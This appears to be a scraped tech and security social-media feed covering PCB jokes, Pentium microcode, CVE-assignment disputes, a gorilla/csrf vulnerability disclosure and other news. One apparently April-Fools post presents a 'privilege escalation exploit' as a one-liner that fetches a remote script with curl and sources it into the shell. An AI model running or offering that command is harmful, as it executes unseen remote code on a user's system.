I read a report recently that confirmed that straight PCB traces, right angle, and orthogonally placed components can actually make electrons sad and slow them down. They much prefer the excitement of whizzing along curvy traces, particularly if they end up going in to a chip at a random angle. And bright colours really make them want to work harder.
So I will be updating all #RC2014 kits with design philosophy. The first to be done is the RC2014 Mini II Picasso. You can pick one up now at #z80kits
https://z80kits.com/shop/rc2014-mini-ii-picasso/
💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):
“. <(curl -SsfL https://thc.org/7350pipe)”
https://lore.kernel.org/linux-cve-announce/2025032721-CVE-2023-53032-70ce@gregkh/T/#u "Note that it's harmless since the value will be checked at the next step." Sure, but our Bash script has determined this will get a CVE anyway: https://web.git.kernel.org/pub/scm/linux/kernel/git/lee/vulns.git/tree/scripts/cve_review#n192
The demoscene has become a national UNESCO heritage in Sweden! I was part of making the application, so ofc I think it's great, but I wrote a little bit about how difficult it is to generalize the demoscene. https://www.goto80.com/the-demoscene-as-a-unesco-heritage-in-sweden
The Pentium processor, like many others, implements its instructions in microcode. Each step of an instruction is described by a micro-instruction, stored in the chip in the microcode ROM.
This die photo shows the parts of the Pentium. Let's take a quick look at the microcode ROM...1/N
A prominent computer scientist who has spent 20 years publishing academic papers on cryptography, privacy, and cybersecurity has gone incommunicado, had his professor profile, email account, and phone number removed by his employer Indiana University, and had his homes raided by the FBI. No one knows why.
#XiaofengWang Xiaofeng Wang
Sufficient time has passed and I'm excited to share a demo and details of a CSRF vulnerability that I discovered in the popular gorilla/csrf library that has been present since its creation 😲 https://patrickod.com/csrf
🚨 LibAFL 0.15.2 🚨
And so much more:
31 March 2016 | Imre Kertész (b. 1929), Hungarian Jewish writer & Holocaust Survivor died. His works - including Fateless - draw repeatedly on his experience at #Auschwitz. Kertész won the 2002 Nobel Prize for Literature. https://nobelprize.org/prizes/literature/2002/kertesz/biographical/
Local Privilege Escalation via Unquoted Search Path in Plantronics Hub https://www.8com.de/cyber-security-blog/local-privilege-escalation-via-unquoted-search-path-in-plantronics-hub
Re: The Oracle Thing™ this quote from @dangoodin's story seems significant.
On Friday, when I asked Oracle for comment, a spokesperson asked if they could provide a statement that couldn’t be attributed to Oracle in any way. After I declined, the spokesperson said Oracle would have no comment.
In today's episode of drama in the CVE ecosystem:
The Canonical CNA created CVE-2025-0927 and an associated advisory for a heap overflow in HFS+ in the Linux kernel.
The Linux kernel CNA stripped out the information (like the reporter of Attila Szász, useful references, etc) from the CVE entry and added the passive-aggressive:
The Linux kernel CVE team has been assigned CVE-2025-0927 as it was incorrectly created by a different CNA that really should have known better to not have done this.to this issue. [sic]
Also TIL: If you look only at the assignerShortName in a cvelistV5 CVE entry, you might not get the whole picture of whose CVE it technically is. While the Linux kernel rewrote history to claim that they assigned the CVE, that was only done via the cna container's ProviderMetadata shortName value. The top-level [assignerShortName](https://github.com/CVEProject/cvelistV5/blob/main/cves/2025/0xxx/CVE-2025-0927.json#L7) for the entry still shows canonical.
Good times...